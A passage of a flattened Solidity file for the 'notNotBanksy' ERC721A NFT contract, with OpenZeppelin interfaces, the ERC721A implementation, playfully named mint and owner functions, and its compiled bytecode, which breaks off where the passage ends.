address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/TwistedToonz.sol // Creator: Chiru Labs pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "ERC721A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); require(quantity != 0, "ERC721A: quantity must be greater than 0"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner"); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract notNotBanksy is ERC721A, Ownable, ReentrancyGuard { bool public canNotNotSteal; uint public notNotMaxPerTx = 2; uint public notNotTotal = 1974; uint public notNotPrice = 0 ether; uint public notNotMaxPerWallet = 2; uint public nextOwnerToExplicitlySet; string public baseURI; constructor() ERC721A("notNotBanksy", "NNB") {} function steal(uint256 _notNotMintAmount) external payable { require(totalSupply() + _notNotMintAmount < notNotTotal + 1,"NOT NOT 'SOLD' OUT!"); require(msg.sender == tx.origin,"not not not sure what you're up to but the answer is no."); require(canNotNotSteal, "Cannot not not steal yet"); require(_notNotMintAmount < notNotMaxPerTx + 1,"not not too many in this transaction!"); require( msg.value == _notNotMintAmount * notNotPrice, "please send the not not exact amount"); require(numberMinted(msg.sender) + _notNotMintAmount <= notNotMaxPerWallet, "minting not not too many on this wallet address"); _safeMint(msg.sender, _notNotMintAmount); } function heist(uint256 _notNotMintAmount) external onlyOwner { require(totalSupply() + _notNotMintAmount < notNotTotal + 1,"Not not not enough supply to heist"); _safeMint(msg.sender, _notNotMintAmount); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string calldata baseURI_) external onlyOwner { baseURI = baseURI_; } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function setNotNotMaxPerWallet(uint256 notNotMaxPerWallet_) external onlyOwner { notNotMaxPerWallet = notNotMaxPerWallet_; } function toggleSteals() external onlyOwner { canNotNotSteal = !canNotNotSteal; } function setNotNotTotal(uint256 notNotTotal_) external onlyOwner { notNotTotal = notNotTotal_; } function setNotNotPrice(uint256 notNotPrice_) external onlyOwner { notNotPrice = notNotPrice_; } function setNotNotMaxPerTx(uint256 notNotMaxPerTx_) external onlyOwner { notNotMaxPerTx = notNotMaxPerTx_; } function withdraw() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { require(quantity != 0, "quantity must be nonzero"); require(currentIndex != 0, "no tokens minted yet"); uint256 _nextOwnerToExplicitlySet = nextOwnerToExplicitlySet; require(_nextOwnerToExplicitlySet < currentIndex, "all ownerships have been set"); // Index underflow is impossible. // Counter or index overflow is incredibly unrealistic. unchecked { uint256 endIndex = _nextOwnerToExplicitlySet + quantity - 1; // Set the end index to be the last token index if (endIndex + 1 > currentIndex) { endIndex = currentIndex - 1; } for (uint256 i = _nextOwnerToExplicitlySet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i].addr = ownership.addr; _ownerships[i].startTimestamp = ownership.startTimestamp; } } nextOwnerToExplicitlySet = endIndex + 1; } } }
0x6080604052600436106102255760003560e01c8063715018a611610123578063b88d4fde116100ab578063dca702371161006f578063dca7023714610634578063dcae238a1461064a578063e985e9c51461066a578063f2fde38b146106b3578063fd8a6382146106d357600080fd5b8063b88d4fde146105a9578063c87b56dd146105c9578063cbbac959146105e9578063d7224ba0146105fe578063dc33e6811461061457600080fd5b80639bcf5f0c116100f25780639bcf5f0c14610520578063a22cb46514610533578063aa8b689d14610553578063ae59a30414610573578063b384c8871461059357600080fd5b8063715018a61461048a5780638da5cb5b1461049f5780639231ab2a146104bd57806395d89b411461050b57600080fd5b806332e91d1a116101b157806355f804b31161017557806355f804b3146103f55780635cc9091d146104155780636352211e146104355780636c0360eb1461045557806370a082311461046a57600080fd5b806332e91d1a146103705780633ccfd60b1461038657806342842e0e1461039b5780634ac9b58e146103bb5780634f6ccce7146103d557600080fd5b806318160ddd116101f857806318160ddd146102db57806323b872dd146102fa5780632d20fb601461031a5780632e5a88161461033a5780632f745c591461035057600080fd5b806301ffc9a71461022a57806306fdde031461025f578063081812fc14610281578063095ea7b3146102b9575b600080fd5b34801561023657600080fd5b5061024a61024536600461228f565b6106f3565b60405190151581526020015b60405180910390f35b34801561026b57600080fd5b50610274610760565b60405161025691906123ec565b34801561028d57600080fd5b506102a161029c36600461233b565b6107f2565b6040516001600160a01b039091168152602001610256565b3480156102c557600080fd5b506102d96102d4366004612265565b610882565b005b3480156102e757600080fd5b506000545b604051908152602001610256565b34801561030657600080fd5b506102d9610315366004612111565b61099a565b34801561032657600080fd5b506102d961033536600461233b565b6109a5565b34801561034657600080fd5b506102ec600d5481565b34801561035c57600080fd5b506102ec61036b366004612265565b610a38565b34801561037c57600080fd5b506102ec600a5481565b34801561039257600080fd5b506102d9610b95565b3480156103a757600080fd5b506102d96103b6366004612111565b610ca2565b3480156103c757600080fd5b5060095461024a9060ff1681565b3480156103e157600080fd5b506102ec6103f036600461233b565b610cbd565b34801561040157600080fd5b506102d96104103660046122c9565b610d1f565b34801561042157600080fd5b506102d961043036600461233b565b610d55565b34801561044157600080fd5b506102a161045036600461233b565b610d84565b34801561046157600080fd5b50610274610d96565b34801561047657600080fd5b506102ec6104853660046120c3565b610e24565b34801561049657600080fd5b506102d9610eb5565b3480156104ab57600080fd5b506007546001600160a01b03166102a1565b3480156104c957600080fd5b506104dd6104d836600461233b565b610eeb565b6040805182516001600160a01b0316815260209283015167ffffffffffffffff169281019290925201610256565b34801561051757600080fd5b50610274610f08565b6102d961052e36600461233b565b610f17565b34801561053f57600080fd5b506102d961054e366004612229565b61119e565b34801561055f57600080fd5b506102d961056e36600461233b565b611263565b34801561057f57600080fd5b506102d961058e36600461233b565b611292565b34801561059f57600080fd5b506102ec600b5481565b3480156105b557600080fd5b506102d96105c436600461214d565b611336565b3480156105d557600080fd5b506102746105e436600461233b565b61136f565b3480156105f557600080fd5b506102d961143d565b34801561060a57600080fd5b506102ec600e5481565b34801561062057600080fd5b506102ec61062f3660046120c3565b61147b565b34801561064057600080fd5b506102ec600c5481565b34801561065657600080fd5b506102d961066536600461233b565b611486565b34801561067657600080fd5b5061024a6106853660046120de565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156106bf57600080fd5b506102d96106ce3660046120c3565b6114b5565b3480156106df57600080fd5b506102d96106ee36600461233b565b61154d565b60006001600160e01b031982166380ac58cd60e01b148061072457506001600160e01b03198216635b5e139f60e01b145b8061073f57506001600160e01b0319821663780e9d6360e01b145b8061075a57506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461076f90612515565b80601f016020809104026020016040519081016040528092919081815260200182805461079b90612515565b80156107e85780601f106107bd576101008083540402835291602001916107e8565b820191906000526020600020905b8154815290600101906020018083116107cb57829003601f168201915b5050505050905090565b60006107ff826000541190565b6108665760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061088d82610d84565b9050806001600160a01b0316836001600160a01b031614156108fc5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b606482015260840161085d565b336001600160a01b038216148061091857506109188133610685565b61098a5760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000606482015260840161085d565b61099583838361157c565b505050565b6109958383836115d8565b6007546001600160a01b031633146109cf5760405162461bcd60e51b815260040161085d906123ff565b60026008541415610a225760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161085d565b6002600855610a30816118bd565b506001600855565b6000610a4383610e24565b8210610a9c5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b606482015260840161085d565b600080549080805b83811015610b35576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610af757805192505b876001600160a01b0316836001600160a01b03161415610b2c5786841415610b255750935061075a92505050565b6001909301925b50600101610aa4565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b606482015260840161085d565b6007546001600160a01b03163314610bbf5760405162461bcd60e51b815260040161085d906123ff565b60026008541415610c125760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161085d565b6002600855604051600090339047908381818185875af1925050503d8060008114610c59576040519150601f19603f3d011682016040523d82523d6000602084013e610c5e565b606091505b5050905080610a305760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015260640161085d565b61099583838360405180602001604052806000815250611336565b600080548210610d1b5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b606482015260840161085d565b5090565b6007546001600160a01b03163314610d495760405162461bcd60e51b815260040161085d906123ff565b610995600f8383612017565b6007546001600160a01b03163314610d7f5760405162461bcd60e51b815260040161085d906123ff565b600b55565b6000610d8f82611a4c565b5192915050565b600f8054610da390612515565b80601f0160208091040260200160405190810160405280929190818152602001828054610dcf90612515565b8015610e1c5780601f10610df157610100808354040283529160200191610e1c565b820191906000526020600020905b815481529060010190602001808311610dff57829003601f168201915b505050505081565b60006001600160a01b038216610e905760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b606482015260840161085d565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b03163314610edf5760405162461bcd60e51b815260040161085d906123ff565b610ee96000611b23565b565b604080518082019091526000808252602082015261075a82611a4c565b60606002805461076f90612515565b600b54610f25906001612487565b81610f2f60005490565b610f399190612487565b10610f7c5760405162461bcd60e51b81526020600482015260136024820152724e4f54204e4f542027534f4c4427204f55542160681b604482015260640161085d565b333214610ff15760405162461bcd60e51b815260206004820152603860248201527f6e6f74206e6f74206e6f742073757265207768617420796f752772652075702060448201527f746f206275742074686520616e73776572206973206e6f2e0000000000000000606482015260840161085d565b60095460ff166110435760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f74206e6f74206e6f7420737465616c207965740000000000000000604482015260640161085d565b600a54611051906001612487565b81106110ad5760405162461bcd60e51b815260206004820152602560248201527f6e6f74206e6f7420746f6f206d616e7920696e2074686973207472616e73616360448201526474696f6e2160d81b606482015260840161085d565b600c546110ba90826124b3565b34146111145760405162461bcd60e51b8152602060048201526024808201527f706c656173652073656e6420746865206e6f74206e6f7420657861637420616d6044820152631bdd5b9d60e21b606482015260840161085d565b600d54816111213361147b565b61112b9190612487565b11156111915760405162461bcd60e51b815260206004820152602f60248201527f6d696e74696e67206e6f74206e6f7420746f6f206d616e79206f6e207468697360448201526e2077616c6c6574206164647265737360881b606482015260840161085d565b61119b3382611b75565b50565b6001600160a01b0382163314156111f75760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c6572000000000000604482015260640161085d565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6007546001600160a01b0316331461128d5760405162461bcd60e51b815260040161085d906123ff565b600a55565b6007546001600160a01b031633146112bc5760405162461bcd60e51b815260040161085d906123ff565b600b546112ca906001612487565b816112d460005490565b6112de9190612487565b106111915760405162461bcd60e51b815260206004820152602260248201527f4e6f74206e6f74206e6f7420656e6f75676820737570706c7920746f206865696044820152611cdd60f21b606482015260840161085d565b6113418484846115d8565b61134d84848484611b93565b6113695760405162461bcd60e51b815260040161085d90612434565b50505050565b606061137c826000541190565b6113e05760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161085d565b60006113ea611ca1565b905080516000141561140b5760405180602001604052806000815250611436565b8061141584611cb0565b604051602001611426929190612380565b6040516020818303038152906040525b9392505050565b6007546001600160a01b031633146114675760405162461bcd60e51b815260040161085d906123ff565b6009805460ff19811660ff90911615179055565b600061075a82611dae565b6007546001600160a01b031633146114b05760405162461bcd60e51b815260040161085d906123ff565b600c55565b6007546001600160a01b031633146114df5760405162461bcd60e51b815260040161085d906123ff565b6001600160a01b0381166115445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085d565b61119b81611b23565b6007546001600160a01b031633146115775760405162461bcd60e51b815260040161085d906123ff565b600d55565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006115e382611a4c565b80519091506000906001600160a01b0316336001600160a01b0316148061161a57503361160f846107f2565b6001600160a01b0316145b8061162c5750815161162c9033610685565b9050806116965760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606482015260840161085d565b846001600160a01b031682600001516001600160a01b03161461170a5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b606482015260840161085d565b6001600160a01b03841661176e5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161085d565b61177e600084846000015161157c565b6001600160a01b03858116600090815260046020908152604080832080546001600160801b03198082166001600160801b03928316600019018316179092558986168086528386208054938416938316600190810190931693909317909255888552600390935281842080546001600160e01b031916909117600160a01b4267ffffffffffffffff160217905590860180835291205490911661187357611826816000541190565b15611873578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b8061190a5760405162461bcd60e51b815260206004820152601860248201527f7175616e74697479206d757374206265206e6f6e7a65726f0000000000000000604482015260640161085d565b6000546119505760405162461bcd60e51b81526020600482015260146024820152731b9bc81d1bdad95b9cc81b5a5b9d1959081e595d60621b604482015260640161085d565b600e5460005481106119a45760405162461bcd60e51b815260206004820152601c60248201527f616c6c206f776e657273686970732068617665206265656e2073657400000000604482015260640161085d565b60005482820160001981019110156119bf5750600054600019015b815b818111611a41576000818152600360205260409020546001600160a01b0316611a395760006119ef82611a4c565b805160008481526003602090815260409091208054919093015167ffffffffffffffff16600160a01b026001600160e01b03199091166001600160a01b0390921691909117179055505b6001016119c1565b50600101600e555050565b6040805180820190915260008082526020820152611a6b826000541190565b611aca5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b606482015260840161085d565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611b19579392505050565b5060001901611acc565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3d